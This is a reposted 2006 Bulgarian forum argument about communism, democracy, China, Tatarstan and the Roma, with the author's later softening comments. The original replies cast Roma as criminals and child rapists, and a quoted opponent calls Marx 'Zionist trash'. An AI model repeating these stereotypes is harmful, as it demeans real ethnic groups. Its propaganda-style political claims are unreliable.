И ПО-РАНО ЛЕПА БРЕНА НЕ БЕШЕ ИЗДАВАНА И УДОБРЯВАНА ОТ МИНИСТРСТВОТО НА КУЛТУРАТА, А СЕГА ТОВА СЪЩОТО ТИ УДОБРЯВА И ИЗДАВА ВСЯКАКВИ ИДИОТЩИНИ ОТ РОДА НА -"КАРАЙ БЯСНО НА ЧЕРВЕНО И НАПРАВИ ЗА МЕНЕ НЕЩО ОТКАЧЕНО!" БАСИ ВЪЗПИТАНИЕТО! ЗАГИВАЛА НАЦИЯТА, МИ ЩЕ ЗАГИВА МИ! ПЪЛЕН ВАРВАРЛЪК!
Пояснявам, че нямам нищо против негърски песни като госпел, рокендрол, народни африкански, реге и пр. Това, което ме дразни са вулгарните рап песни. А той, рапът, се интернационализира, та вече не може да се нарече точно "само негърска музика".
"-Сикритдосваха ОТДМАХ разните му скинари, циганя и други бандюги, СИРЕЧ ЖИВЕЕШЕ СЕ СПОКОЙНО. СКИНОВЕТЕ СА ТОЧНО ЗАПОМНИ ТЕРМИНЪТ! ТЕРМИТ ПРОЯДЕН, НАЦИОНАЛ-"СОЦИАЛИСТИ" ТАКА ЧЕ НЕ МИ МИНАВАИ С ЕВТИНИЯТ ФАШИЗЪМ, ЗАЩОТО ФАШИЗМЪТ ПО ПРИРОДА Е УЛТРА-ЛЯВО ТЕЧЕНИЕ В ДЯСНОТО ПРОСТРАНСТВО, ЗАЕМАЩО ФУНКЦИЯТА НА ТРОЯНСКИ КОН В ТОВА ПРОСТРАНСТВО."
АБЕ ГЛУПОСТИ, ПОСЛЕДНИТЕ ИСТИНСКИ НАЦИОНАЛ-СОЦИАЛИСТИ, ПРЕДИ ДА ГИ ОСЪДЯТ НА СМЪРТ ИЛИ ДА СЕ САМОУБИЯТ ПО ВРЕМЕ НА ПРОЦЕСА СА КАЗАЛИ, ЧЕ СКИНОВЕТЕ САМО ПЕТНЯТ ЧИСТИТЕ ИДЕИ НА ФЮРЕРА! В ЧИСТИЯ МУ ВАРИАНТ НАЦИОНАЛ-СОЦИАЛИЗМА МОЖЕ И ДА ИМА ОБЩО С КОМУНИЗМА, АМА ТОЧНО СКИНАРИТЕ- ХАХАХА! ТЕ ДАЖЕ НЕ ЗНАЯТ КАКВО Е ВЛИЯНИЕТО НА НИЦШЕ ВЪРХУ "МАЙН КАМПФ", КЪДЕ СИ ТРЪГНАЛ ДА ГИ СРОДЯВАШ С НЯКАКВИ ПО-ВИСШИ ИДЕИ, А И КАКВО ЗНАЧЕНИЕ ИМА?!?!?! СТАВАШЕ ДУМА, ЧЕ ПРИ СОЦИАЛИЗМА ТЕЗИ УПАДЪЧНИ ЯВЛЕНИЯ НЕ СЕ ТЪРПЯТ! НАЛИ? А ДЕМОКРАЦИЯТА СИ ГИ ПОНАСЯ!
Отново държа да поясня, че визирам само престъпните роми/цигани, а не всички. Нямам расови, етнически и други предразсъдъци.
"А ЦИГАНЯТА СЕГА НАЙ-ДОБРЕ СИ ГИ ХРАНТУТЯТ СЪЩИТЕ ТЕЗИ ПОТОМЦИ НА НАШ ГРЪБ НА "ГОРДИТЕ" И "ДОСТОЙНИ" СОЦИАЛИСТО-КОМУНИСТИ"
АМИ ЩОТО СИСТЕМАТА НЕ Е СОЦИАЛИСТИЧЕСКА - НАЛИ ЗА ТОВА ГОВОРИМ. АКО БЕШЕ НЕЩО ПОНЕ ОТ РОДА НА ПИНОЧЕТ, Т.Е. АНТИ-АНАРХИСТИЧНО, НЯМАШЕ ДА Е ТАКА. (Винаги съм давал за пример Тодор Живков, при когото на циганите се даваше образование, професия и, като цяло, бяха включени в обществото и нямаше толкова много циганска престъпност.)
" А АЗ ДОКОЛКОТО ЗНАМ В МОЯТ ГРАД, СТАРИТЕ ПАРТИЙНИ ВЕЛИЧИЯ СЕГА СА НАЙ-ГОЛЕМИТЕ КАПИТАЛИСТИ"
АМИ ЩОТО СЕ СМЕНИ СИСТЕМАТА! КАКЪВ ДРУГ ИЗХОД ИМАТ? А И ТО СИ Е МАЛКО ЧАСТ ОТ БАЛКАНСКИЯ МАНТАЛИТЕТ, НАЛИ?
ГОВОРИМ СИ НЕ ЗА ХОРА, А ЗА СИСТЕМИ, НАЛИ ТАКА?
ТИ МИ ДАВАШ "АРГУМЕНТУМ АД ХОМИНЕМ", не сравнявай хората, сравнявай системите.
(Пак да се допълня - като понаучих повече за света, оказа се, че не е само балканщината така - навсякъде падне ли системата, има си хора, които се извъртат веднага и не са принципни да отстояват това, в което са вярвали. Е, може и да има такива, които само са се престрували, че вярват. За тях е по-естествено.)
"А Я МИ ОТГОВОРИ БУШ ОТ КОЯ ПАРТИЯ Е ИЗБРАН, ЧЕ ДА ГОВОРИШ ЗА ПРЕСТЪПНОСТ."
ЕШ ПА ТИ :lol: АЗ ТИ КАЗВАМ, ЧЕ САЩ СА НА ВТОРО МЯСТО В СВЕТА ПО ПРЕСТЪПНОСТ, ТИ МИ ГОВОРИШ ЗА ПАРТИЯТА НА БУШ.
АМИ В САЩ ИМА ДВУПОЛЮСЕН МОДЕЛ, НАЛИ СЕ СЕЩАШ. "ДЕМОКРАЦИЯ" - НАНАЙЦИ!!!
Общо взето, двупартиен модел, фактически. Е, не е идеалната демокрация, но е поне някаква демокрация. Демокрацията има различни степени.
"А САМО ИЗСТРЕЛВАТ РАКЕТИ ДА СЕ ПРАВЯТ НА ВАЖНИ ЧЕ ВИДИШ ЛИ И ТЕ ИМАТ КАКВО ДА ПОКАЖАТ НА СВЕТА, МУСКУЛЧЕТА."
АМИ ПО-ДОБРЕ КАТО ИМАШ ЯДРЕНО ОРЪЖИЕ ДА ГО ТРЕНИРАШ, А НЕ ДА НЯМАШ, ДА СИ НАРЕЖИШ ДАЖЕ И РАКЕТИТЕ НА ПВО-ТО И ДА СИ НАДУПЕН, НАЛИ?
(Ще ми се, защото в последните години съм все по-голям пацифист, да няма никакво ядрено оръжие. Е, може да има световен резерв, в случай на хипотетично нападение от извънземни, които дори не се знае дали същестуват. :) )
"ТИ НАИСТИНА НЕ СИ В РЕД С ГЛАВАТА ПРИЯТЕЛ."
Е, ТО ЩЕ СЕ ВИДИ ПО АРГУМЕНТИТЕ КОЙ ПО-НЕ Е НАРЕД :wink: НЕКА ХОРАТА САМИ ДА ПРЕЦЕНЯТ.
"А МИ ТО РЕЛИГИЯТА НАЛИ Е ОПИУМ ЗА НАРОДИТЕ, КАТО СИ ПРАВОВЕРЕН КОМУНЯГА, ЗАЩО НОСИШ РЕЛИГИОЗНИ БУДИСТКИ ТИТЛИ БРЕ."
ПАК СЕ ОТКЛОНИ ОТ ТЕМАТА!!! ЛАМАИЗМЪТ Е НАУЧНА РЕЛИГИЯ - ПРИЗНАВА МНОЖЕСТВОТО НА СВЕТОВЕТЕ, НЛО, ИЗВЪНЗЕМНИТЕ, РЕИНКАРНАЦИЯТА.
Тук малко съм се поолял. Ламаизмът, че е по-научен от други религии - да, но то самите извънземни още не са потвърдени от науката, каква научност в случая? Реинкарнациите, както научих по-сетне, също не са научно документирани... множество на световете е само научна хипотеза (физична)... като цяло, няма нужда от религии. Не съм будист отдавна. Игностик съм.
" ЗНАЕШЛИ ТОЧНО ТОВА НЕЩО АКО ОТИДЕШ В ТАТАРСТАН, И МЕСТНОТО КОРЕННО БЪЛГАРСКО НАСЕЛЕНИЕ, АКО ГИ НАРЕЧЕШ ТАТАРИ, ПРОСТО ТИ ЖИВ НЯМА ДА СЕ ДОБЕРЕШ ДО ТУК, ТИ ПРОСТО СЕ ПОДИГРАВАШ С НАС БЪЛГАРИТЕ ПРОДАЖНО СЪЩЕСТВО ТАКОВА."
ТИ СИ ПРОДАЖНИК, НЕ АЗ. А СЕГА СЛУШАЙ ВНИМАТЕЛНО:
а/ ХОДИЛ СЪМ В БРАТСКИ ТАТАРСТАН И ДАЖЕ СЪМ ХОДИЛ С ПРАВНУЧКАТА НА АМИРХАН - ЛИАНА РАСИМОВНА АМИРХАНОВА, КОЯТО В МОМЕНТА РАБОТИ В МИНИСТЕРСТВОТО НА СПОРТА В ТАТАРСТАН РЕСПУБЛИКАСЪ!
б/ АБСОЛЮТНА ГЛУПОСТ КАЗА, ЧЕ НЕ СЕ НАРИЧАЛИ ТАТАРИ ТАМ!!!
в/ ГРУПАТА, КОЯТО ИСКА ДА ПРЕИМЕНУВА ДЪРЖАВАТА НА БУЛГАРСТАН РЕСПУБЛИКАСЪ СА ПОТОМЦИ НА ТЕЧЕНИЕТО НА ВАИСОВЦИТЕ! И В МОМЕНТА НЯМАТ НИКАВО СЕРИОЗНО ВЛИЯНИЕ.
г/ В ТАТАРТАН ИСТОРИЦИТЕ ОКОЛО ШАЙМИЕВ ПОДДЪРЖАТ НАУЧНАТА ТЕЗА ЗА ПРОИЗХОДА НА КАЗАНСКИТЕ ТАТАРИ (КАЗАН ТАТАРЛАРЪ) ОТ КУМАНИ, СМЕСЕНИ С ПРАБЪЛГАРИ, УГРИ, МОНГОЛИ И ПР.
д/ МНОГО СИЛНО Е И ТЕЧЕНИЕТО НА КАШАПОВИТЕ, КОИТО НЯМАТ НИКАКЪВ БУЛГАРИСТКИ УКЛОН, А СА ПРОИСЛЯМИСТИ!
е/ ПРЕДИ ДА СИ ЗАПОЗНАТ С НЕЩАТА, НЕ ГОВОРИ, ПОНЕЖЕ СЕ ИЗКАЗВАШ МНОГО ПРИБЪРЗАНО И ПРАВИШ ГОЛЕМИ ГРЕШКИ!
Ж/ АКО ОЩЕ ЕДИН ПЪТ КАЖЕШ НЯКОЯ ГЛУПОСТ ЗА ТАТАРИТЕ ЩЕ ТЕ ЗАРИНА С ЛИНКОВЕ И ИНФОРМАЦИИ ОТ ИНТЕРНЕТА, КЪДЕТО САМИ СИ КАЗВАТ "ТАТАРЛАР", ЗА ДА ТИ СЕ ЗАТВОРИ ЧЕРВИВАТА СЛАВЯНСКА УСТИЦА НЕДОУЧИЛА!
Доста време не съм следил какво става из Татарстан. Последно се бях замислил, че рашистите сигурно са мобилизирали (могилизирали) доста татари и други татарстанци... В това отношение си оставам на позицията от едно време - по-добре е Чувашия, Татарстан и другите да не са били завладявани от Русия.
" ЕИ ПРАЩЯЛКО, КАК МОЖЕШ ДА НАРИЧАШ ОМО ИЛИНДЕН ЧЕ Е БЪЛГАРСКА ОРГАНИЗАЦИЯ КАТО ТЕ САМИТЕ СЕ НЯМАТ ЗА БЪЛГАРИ, А А А ТЕ ПО СКОРО СА СРЪБСКИ МЕКЕРЕТА, ОТ КОЛКОТО БЪЛГАРСКИ, ТАКА ЧЕ ПРЕСТАНИ С ГАВРИТЕ КЪМ ВСИЧКО БЪЛГАРСКО ЗАЩОТО СИ ДОСТА ЖАЛЪК В СТРЕМЕЖЪТ СИ, ДА ОБИДИШ ЕДНА ДРЕВНА И ДОСТОЙНА НАЦИЯ КАТО НАС БЪЛГАРИТЕ."
ТИ ОБИДЕН ЛИ СЕ СЕ ПОЧУВСТВАЛ, ГОСПОДИН НЕЗНАЙКО? СТАВА ДУМА, ЧЕ БЪЛГАРСКИТЕ ГРАЖДАНИ ОТ ОМО-ТО СА ЕКВИВАЛЕНТ НА ДАЛАЙ-ЛАМАТА. АКО ПОИСКАШ "СВОБОДА" ЗА ТИБЕТ, МОЖЕ ДА ТИ ПОИСКАМ "СВОБОДА" за ПИРИН! ТО И ДВЕТЕ ПЛАНИНИ, А?
:twisted:
(Има нещо общо, наистина. А аз съм имал предвид, че сепаратизмът не е хубаво нещо. В същото време, когато даден народ, както стана дума току-що, по-горе, е по-добре да не е влизал в дадена империя, вместо по-сетне потомците му да измират за капризите на новите императори; в такъв случай, ако вбъдеще, такъв народ получи свободата си, може само да се радваме.)
"ТАКА ЧЕ ВЗЕМИ НАИСТИНА СЕ МАХНИ С ТВОИТЕ СКВЕРНОТИИ. "
ТИ СЕ МАХНИ, АЗ ПОНЕ СЪМ УЧЕН ЧОВЕК И МОЖЕ ДА СЕ НАУЧИ НЕЩО ОТ МЕНЕ, А ТИ СИ КЛИШАР, ДЕТО ДАЖЕ НЕ ПРАВИ РАЗЛИКА МЕЖДУ СЕПАРАТИСТ И ВАИСОВЕЦ.
"И ДАЛАИ ЛАМА ДАЛИ Е СЕПАРАТИСТ, ДОКАЖИ В КАКВО СИ Е ПРОЯВИЛ СЕПАРАТИЗМА"
В ТОВА, В КОЕТО И ОМО-ТО, НЕ ЗНАЕШ ЛИ???
"ЧОВЕКЪТ, МОГА ДА КАЖА ЧЕ НИ СИ ПАДАМ ПО БУДИСТКИ НЕЩА, НО НЕ МОГА ДА СЕ СЪГЛАСЯ С ТОВА ДА ХУЛИШ ЧОВЕК КОИТО ИЗОБЩО НЯМА НАМЕРЕНИЕ ДА СЕ СЪПРОТИВЛЯВА НА КАКВАТО И АГРЕСИЯ ДА Е."
АМИ КАТО НЕ СЕ СЪПРОТИВЛЯВА, ЗАЩО ИСКА ДА ЦЕПИ 1/5 ОТ КИТАЙ В ПОЛЗА НА ИНДИЯ И САЩ? НЕ СЕ СЪПРОТИВЛЯВАЛ ТОЙ, ТО ДА ИМА КАК ДА НАЛАПА ЦЕЛИЯ КИТАЙ. НЕ СИ МИСЛИ, ЧЕ ЗАД РЕЛИГИОЗНАТА МАСКА НЯМА ЕДИН ЖИВ ДЯВОЛ!
(Тук малко съм пресилил нещата; особено в днешно време, когато Китай се реимператоризира, Далай Лама с неговия сепаратизъм е най-малкият проблем на китайците.)
"АКО НЕ ТИ Е ИЗВЕСТНО! БУДИЗМЪТ ТОЧНО В ТИБЕТ, Е ЕДНА ОТ НАЙ-МИРНИТЕ РЕЛИГИИ СЛЕД СВЕТОТО ПРАВОСЛАВИЕ"
МОЛЯ ТИ СЕ, ПРАВОСЛАВИЕТО Е ИЗБОЛО ОЧИТЕ НА САМУИЛОВИТЕ ВОЙНИ, КАКТО И ТЕЗИ НА НАЙ-ВЕЛИКИЯ РАСАТЕ-ХАН!!!!!!!!!! НИКАК НЕ Е МИРОЛЮБИВО. ДА ТИ КАЖА ЛИ И РУСКИТЕ ПРАВОСЛАВНИ КАКВО СА ПРАВИЛИ С НАРОДИТЕ? ГОВОРИМ ЗА РУСКАТА ИМПЕРИЯ!
" НО ЧЕ ТИ СИ ПРЕПИСВАШ ПРЕСТЪПЛЕНИЯТА НА СЕПАРАТИСТКИЯТ КОМУНИЗЪМ НА КИТАИ, ТО ТОВА ИЗОБЩО НА ТЕБ НЕ ТИ ПРАВИ ЧЕСТ, МУФЛОН С МУФЛОН."
МУФЛОН Е ТЕЙКО ТИ, ЧЕ НЕ ТЕ Е ЦЕНТРОВАЛ КАКТО СИ ТРЯБВА, ТОЧНО ПРИ КОМУНИЗМА ИМА ЕДИНСТВО, А НЕ СЕПАРАТИЗЪМ! ПРЕСТАНИ ДА ПОДВЕЖДАШ, ЧЕ СТАВАШ СМЕШЕН!!!!
"ХА ТАКА ТВЪРДИ ОЩЕ ЧЕ НИЕ БЪЛГАРИТЕ ПРОИЗЛИЗАМЕ ОТ ТАТАРИТЕ"
КОЛКО СИ ПРОООООСТИЧЪЪЪЪЪК!!!! КОЙ ГОВОРИ ЗА БЪЛГАРИТЕ БЕ?!?!?!?!?
а/ ГОВОР ЗА ПРАБЪЛГАРИТЕ!!!
б/ ГОВОРЯ, ЧЕ ТАТАРИТЕ ПРОИЗЛИЗАТ ОТ ПРАБЪЛГАРИТЕ.
ВИЖДАШ ЛИ КОЛКО ТИ Е ТЪМНО ПОД КАЛПАКА? В ЕДНО ИЗРЕЧЕНИЕ И ЦЕЛИ 2 ГРЕШКИ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
" ЧЕ ДА НИ НАРИЧАТ ТАТАРИ МАКЕДОНИСТИЧНИТЕ ГАДОВЕ "
И МЕНЕ МЕ Е ЯД, ЧЕ НАРИЧАТ СЛАВЯНИЗИРАНИТЕ БЪЛГАРИ "ТАТАРИ", ВИЕ НЕ СТЕ ТАТАРИ! А СТЕ СИ СЛАВЯНИ КАТО САМИТЕ МАКЕДОНЦИ!
"ОТВЪД ГРАНИЦАТА НА БЪЛГАРИЯ КЪДЕТО ГРАНИЧИ С БЪЛГАРИЯ. "
АМИ НАЛИ ЖЕЛЮ ЖЕЛЕВ И СДС-ТО ГИ ПРИЗНАХА ПЪРВИ, БЕ, ДЕМОКРАТ! Я ДА СЕ НЕ ЛЮСПИШ ТАКЪВ ОТ ЛЮБИМАТА СИ ДЕМОКРАЦИЯ!
"А БРЕ ТИ НЕЩО МИ ПОДМИРИСВАШ НА ЕДНА ПЕРСОНА СЪС НИК ЖИЖИ ДА НЕ СИ ТИ, АКО СИ ТИ ПО ДОБРЕ ВЗЕМИ И СЕ РАКАРАИ КАЛНИЯТ З...К ОТ ТУК, И НЕ СИ МИСЛИ ЧЕ ПО ТОЗИ НАЧИН ЩЕ ИЗКАРАШ НАС БЪЛГАРИТЕ ЗА ТАТАРИ И ДА НИ ОБИЖДАШ."
НЕ СЪМ. И, АКО ИМАМЕ ЧЕСТТА ДА СИ ПОГОВОРИМ, ЩЕ РАЗБЕРЕШ КОЛКО ПОВЕЧЕ СЪМ ОТ ЖИЖИ, МИЖИ И ТЕБЕ НА КУБ!
" А МИ ДА ИМАГО НА БАЗАТА НА 100 МИЛИОНА ИЗБИТИ ПО ЦЯЛ СВЯТ, И КЪДЕТО ДОРИ СЕГА В ДНЕШЕН КИТАИ ТАЙНИТЕ СЛУЖБИ ПРОЧИСТВАТ КИТАИ ОТ РЕАКЦИОНЕРИ, И КОЛАБОРАЦИОНИСТИ, В СОБСТВЕНИТЕ СИ РЕДИЦИ, И СИ ИЗБИВАТ СОБСТВЕНИТЕ СИ СЪНАРОДНИЦИ, КОЕТО Е МНОГО ТИПИЧНО ЗА КОМУНИЗМА КАТО ИДЕОЛОГИЯ."
АБЕ ИЗБИВАТ ТИ МОЗЪКА, ТАКА ЛИ ТЕ УЧАТ ОТ ВЕСТНИК "ДЕМОКРАЦИЯ" ИЛИ НЯКОЙ ДРУГ БОКЛУК, ДЕТО ЧЕТЕШ?
ТИ ГЛЕДАЙ КАК ЦИГАНИТЕ ИЗБИВАТ ВАС, ПЪК ПОСЛЕ МИСЛИ ЗА КИТАЙЦИТЕ, ДЕТО СА ЕДНО ОТ НАЙ-СПОКОЙНИТЕ И ПРОСПЕРИРАЩИ ОБЩЕСТВА.
Наистина по онова време беше спокойно, уредено, прогресиращо. Не казвам, че не е имало и проблеми, но сега вече нещата стават "срам и позор", от моята си лявопартийна, научна, интернационална и пацифистка гледна точка. За в. "Демокрация" - може да е имало и добри статии, като не съм чел всички и подробно, не бива с лека ръка да го причислявам към боклукчавите. А и, когато изведнъж човек се озове в недемокрация от феодален тип, започва да цени истинската демокрация повече.
За циганите - има си и добри цигани, интелигентни, помагащи. Не трябва всички да се слагат в кюпа.
"САМО МОЛЯТЕ НЕДЕИ ДА ИЗКАРВАШ ТЕЗИ ТЪМНО ЧЕРВЕНИ УПРАВЛЯВАЩИ НА ТЕЗИ ДЪРЖАВИ, ЗАЩОТО СТАВАШ НАИСТИНА ОТВРАТИТЕЛНО ДОСАДЕН."
ЮАР И САЩ СА ТЪМНО-ЧЕРВЕНИ???? БАТЕНЦЕ, ВРЕМЕ Е ДА СМЕНИШ ХАПЧЕТАТА, СЛЕД КОЕТО ДА СЕ ОПИТВАШ ДА ПОСТВАШ!
"А ЗА МАКЕДОНИЯ, САМО ТОВА МОГА ДА ТИ КАЖА, ТЯ Е НАЙ-ГОЛЕМИЯТ МУЗЕИ НА КОМУНИЗМА ОТ ТИТОВО ВРЕМЕ, КЪДЕТО В МОМЕНТА ВСЕ ОЩЕ СА НА ВЛАСТ СОЦИАЛ- ДЕМОКРАТИТЕ НА БРАНКО ЦЪРВЕНКОВСКИ 100% КОМУНЯГА ЗАВЪРШИЛ ЕЛИТНА БЕЛГРАДСКА ШКОЛА ЗА ШПИОНАЖ СРЕЩУ ВРАГА, СИРЕЧ НИЕ БЪЛГАРИТЕ СМЕ ВРАГА."
АМА НАЛИ ИМА ДЕМОКРАТИЧНИ ИЗБОРИ, БЕ, ЩО ТАКА? И НАЛИ САЩ СА ГАРАНТ ЗА МАКЕДОНИЯ, ЩО ТАКА???? МАЙ ДЕМОКРАЦИЯТА НЕЩО ЗАМИРИСВА, А?
"ТАКА ЧЕ ВЗЕМИ И ПОМИСЛИ ДАЛИ НЕ СТАВАШ ЦИНИЧЕН, КАТО ПРЕХВЪРЛЯШ НА КОМУНИЗМА ПРЕСТЪПЛЕНИЯТА НА ДРУГИ, Я СЕ НАУЧЕТЕ ДА СИ НОСИТЕ ТОВАРА И И ОТГОВОРНОСТА И НЕ МРЪНКАИТЕ."
ПРЕСТЪПЛЕНИЯТА СТАВАТ ОТ 1989 ГОДИНА ВСЕКИ ДЕН В БГ, НАЛИ НЕ Е КОМУНИЗЪМ, ЩО? И ДАЛИ НЕ СЕ КАСАЕ ЗА НЕЩО ДРУГО?
"ТЯ ИЗЛАГАЦИЯТА Е ЗА ТЕБ С НЕЛЕПИТЕТИ КОМУНОИДНИ ТВЪРДЕНИЯ"
ЗА МЕНЕ ИЛИ ЗА НЯКОЙ, ДЕТО МИСЛИ, ЧЕ САЩ И ЮАР СА КОМУНИСТИЧЕСКИ СТРАНИ, А СВЕТЪТ СЕ УПРАВЛЯВА ОТ МАСОНИ?
"Приятел ти май имаш нужда от преглед на главата"
ВИЖ ТИ КАК ПЪК МИ ПРОЕЦИРАШ СОБСТВЕНИТЕ СИ ПОТРЕБНОСТИ. АНА ФРОЙД БИ СЕ РАДВАЛА ДА ТЕ АНАЛИЗИРА!
,"извиняваи но това твое ляво във "демократичен" китаи можеш ли да ми отговориш с цената на колко милиони човешки жертви е построен твоят тъп социализъм"
С ПО-МАЛКО, ОТКОЛКОТО ЖЕРТВИТЕ НА ТЪПАТА ТИ ДЕМОКРАЦИЯ, ДЕТО ДОВЕДЕ ДО ТОВА ЦИГАНИТЕ ДА ВИ ИЗНАСИЛВАТ ДЕЦАТА, А ПОЛИЦАИТЕ ДА ГЛЕДАТ КАК ДРУГИТЕ ДЕЦА ПАФКАТ НАРКОТИЦИ ПРЕД РДВР-ТО!
Отново - визирам само циганската престъпност, не всички цигани! А за случаите, когато имаше пушещи марихуана пред полицейски управления и полицаите си траеха (или наистина не са знаели, ако трябва да сме наистина на 100% обективни, след толкова време учене, след над 18 години време), дано вече да не е така.
"и защо даваш за пример едни съвсем откровенни терористични държави"
АМИ БЪЛГАРИЯ, ДЕТО ПОДКРЕПЯ ТЕРОРИСТИТЕ САЩ И ПРАЩА ВОЙНИЦИ ДА ПОДКРЕПЯТ ИЗНАСИЛВАЧИТЕ В ИРАК? ХАЙДЕ КАТО СИ В СТРАНА, ДЕТО Е КОПОЙ НА НАЙ-ГОЛЕМИТЕ ТЕРОРИСТИ, НЕ НАРИЧАЙ МИРЕН КИТАЙ "ТЕРОРИСТ"!
След различните лийкове (Асандж, Сноудън и пр.) наистина се убедихме, че САЩ не са много за пример, но след като видяхме на какво са способни пък неомонархизираните - начело с Путин - е, определено вече предпочитам да има САЩ, защото то други гаранти за поне малко немонархизиран, нефеодализиран и демократичен свят не останаха. (В смисъл не, че САЩ са еталон за демокрация, а че са поне малко демократични, както и, че имат големия военен, политически и имиджов потенциал да противодействат на самозабравилите се неомонархизирани тирани!)
"където в тези държави думата човешки права изобщо не съществуват."
БОЖЕЕЕЕЕЕЕеееееееееееееееее, колко си ми непробуден!!!!!!!!!!!
АБЕ КОЙ ИЗДАВА ЕЖЕГОДНО КНИГАТА ЗА НАРУШАВАНЕ НА ПРАВАТА В САЩ, БЕ, ПИЧ? НАЛИ КИТАЙ!!!!
"И за какво социалистическо развитие ми блееш, като тази идиология се е доказала като държавен капитализъм, където ограбва хората съвсем пладнешки."
СЪНУВАЙ, СЪНУВАЙ!!! ТУКА ЗА 1 лев можеш да ядеш цял ден или да си купиш едни обувки,...КОЙ Е ОГРАБЕН? С ТОЗИ 1 лев в БГ какво ще направиш, ще си купиш една "Фанта-лимон" ли?
Вече няма толкова евтино в Китай. Да не говорим за многото проблеми, които се породиха напоследък. Нека да не се повтарям!
"Да ти дам пример с БЪЛГАРИЯ та нали точно синчетата на същите тези стари партийни величия, сега са във власта, и доказват че вълкът козината си мени, но нравът никога."
АМИ НАЛИ Е ДЕМОКРАЦИЯ, БЕ, КАКВО СЕ ОПЛАКВАШ?
"И нама за какво бъда изненнадан от неща които сами по себе си говорят за фалшивоста на твоите бръщолевения."
НЕ, АЗ А ТИ СИ ФАЛШИВ И ЗАСПАЛ ИНФОРМАЦИОННО!
"А това за канибалите в северна корея, не ми се измъкваи с ембаргото наложено от САЩ защото нали много милиарден китаи е съсед на северна корея, и една граница ги дели, би трябвало тази държава да е независима от доставки на петрол, и храни, като го закупува от "братски" китаи."
АЛО, НЕЗНАЙКОТО, КИТАЙ ИМА 1 370 000 000 население и ПЪРВО СЕ ГРИЖИ ЗА ТЯХ, след това за С. Корея. И КИТАЙСКАТА ИКОНОМИКА НЕ МОЖЕ (ВСЕ ОЩЕ) ДА СЕ МЕРИ С ТАЗИ НА САЩ!
ТАКА ИЛИ ИНАЧЕ С. КОРЕЯ ИМА ПОЛОЖИТЕЛЕН ИКОНОМИЧЕСКИ РЪСТ, А ДРУГИ СТРАНИ ДАЖЕ И БЕЗ ЕМБАРГО НЯМАААААААТ. ЯД ТЕ Е НАЛИ? ПРИЗНАЙ СИ, ЧЕ ТЕ Е ЯД. УМИРАШ СИ ОТ ЯД? ТАКА ЛИ Е? ИЛИ НЕ? МИСЛЯ, ЧЕ ТЕ Е ЯД. ЯДОСВАШ ЛИ СЕ? ПОЛОЖИТЕЛЕН БВП, МАКАР И ПОД ЕМБАРГО, АМА ТОВА Е ТО СИЛАТА НА СОЦИАЛИЗМА, БРАТЧЕ!
" Какво става май и "комунистически" китаи където идеологията на онзи ционистки боклук Карл Маркс (Кашел Мордехаи)"
ПФФФФФФФФф, ТО ПЪК ИСУС ХРИСТОС ДА НЕ Е ПО-ДОБЪР? НАЛИ "СВЕТОТО ТИ ПРАВОСЛАВИЕ" СЕ БАЗИРА НА 50% ЕВРЕЙСКО УЧЕНИЕ, СПОМНЯШ ЛИ СИ? ЙЕШУА...хм.
"е с пари, та нали сега китаи заема 4 място по износ на стоки, а те доколкото знам с все още с покварени пари вървят"
ПОКВАРЕНИ ПАРИ ВЪРТЯТ САЩ И КОПОЙЧЕТАТА ИМ. А ТИ ПОДКРЕПЯШ ИМЕННО ТЕЗИ СРЕДИ, КОИТО ПРАВЯТ СЕЧЕНО НА ГОСПОДИН ВОЛЕН СИДЕРОВ, ЧОВЕК, ОТ КОГОТО СЕ ВЪЗХИЩАВАМ! (В един кратък период се възхищавах на Волен Сидеров и на "Атака", защото исках да видя една силна, просперираща, независима България, каквато ми обещаваха някои от атакистите.)
"наистина вземи и се скрии с твоят евтин комунизъм, и недеи да рекламираш нещо което отдавна е самодискредитирано"
МАЙ ДЕМОКРАЦИЯТА СЕ САМОДИСКРЕДИТИРА! АМА ТИ СИ СЛЕПУНГЕР ТА НЕ ВИДИШ, БАЙНО!
"и да го пробутваш за нещо ценно."
НИЩО НЕ ПРОБУТВАМ - СИМПАТИЗАНТ СЪМ НА "АТАКА", ПОНЕЖЕ РАТУВАТ ЗА СПРАВЕДЛИВОСТ! А АЗ ОБИЧАМ СПРАВЕДЛИВОСТТА! АБЕ НЕ МОЖЕ ЦИГАНИТЕ ДА ВИ БИЯТ, ДА ВИ ГРАБЯТ ЗАПАДНЯЦИТЕ , А ТАКИВА КАТО ТЕБЕ ДА ГИ ПОДКРЕПЯТ, БЕ! НАЛИ ИМЕННО ХОРА КАТО ТЕБЕ ДОКАРАХА СТРАНАТА НА ТОВА ДЕРЕДЖЕ!
За да сме обективни, трябва да подчертая, че не всички западняци са грабители; има и доста помощ, която България е получила от западняци; за циганите - вече казах, без общи знаменатели, че не е справедливо.
"А комунизмът е тъмен по природа"
ООО, ЗАТОВА ЛИ НЯКОИ ХРИСТИЯНСКИ СЕКТИ СА ЖИВЕЛИ ПО КОМУНИСТИЧЕСКИ? Я ПРОЧЕТИ ЕНЦИКЛОПЕДИЯ БРИТАНИКА, ПЪРВО, ПЪК ПОСЛЕ ГОВОРИ ТЪПИЗМИ.
" и отровен, така че ако ти обичаш да се тровиш с него, трови си се, но не трови и други с празноглавите ти глупости."
ТО СЕ ВИЖДА КОЙ Е ОТРОВЕН - ЧОВЕК КАТО ТЕБЕ, ДЕТО ПОДКРЕПЯ ЦИГАНИТЕ, ЗВЕРСТВАТА И ПРЕСТЪПЛЕНИЯТА И МАФИОЗИТЕ, КОИТО ПРЕПИКАВАТ ГОСПОДИН ВОЛЕН СИДЕРОВ!
Имам предвид само лошите цигани. Не трябва да се антициганизираме, заради лошите сред циганите. По същия начин и с русофобията - това, че има рашисти, не значи, че трябва да мразим всички руснаци... примери има доста.
Колкото до демокрацията - не се дискредитира тя, а псевдодемокрациите, които я имитират. Например фасадната демокрация.
Най-добре е, когато има демокрация и хората избират най-заслужилите и най-способни (меритокрация + технокрация).
-
И отново от 2006 г., и отново с незабравимия Ванго. :)
"-Философията е съвкупност от идеи."
МНОГО НЕЗАДОВОЛИТЕЛНО ОПРЕДЕЛЕНИЕ НА ФИЛОСОФИЯТА. КУЛТУРОЛОГИЯТА СЪЩО МОЖЕ ДА ПОПАДНЕ ПОД ТОВА ОПРЕДЕЛЕНИЕ, А ДА НЕ ГОВОРИМ ЗА СОЦИОЛОГИЯТА. :) Досега не съм видял да даваш някакво пълно и изчерпателно определение на нещо.
"Съществува само на ТЕОРИЯ."
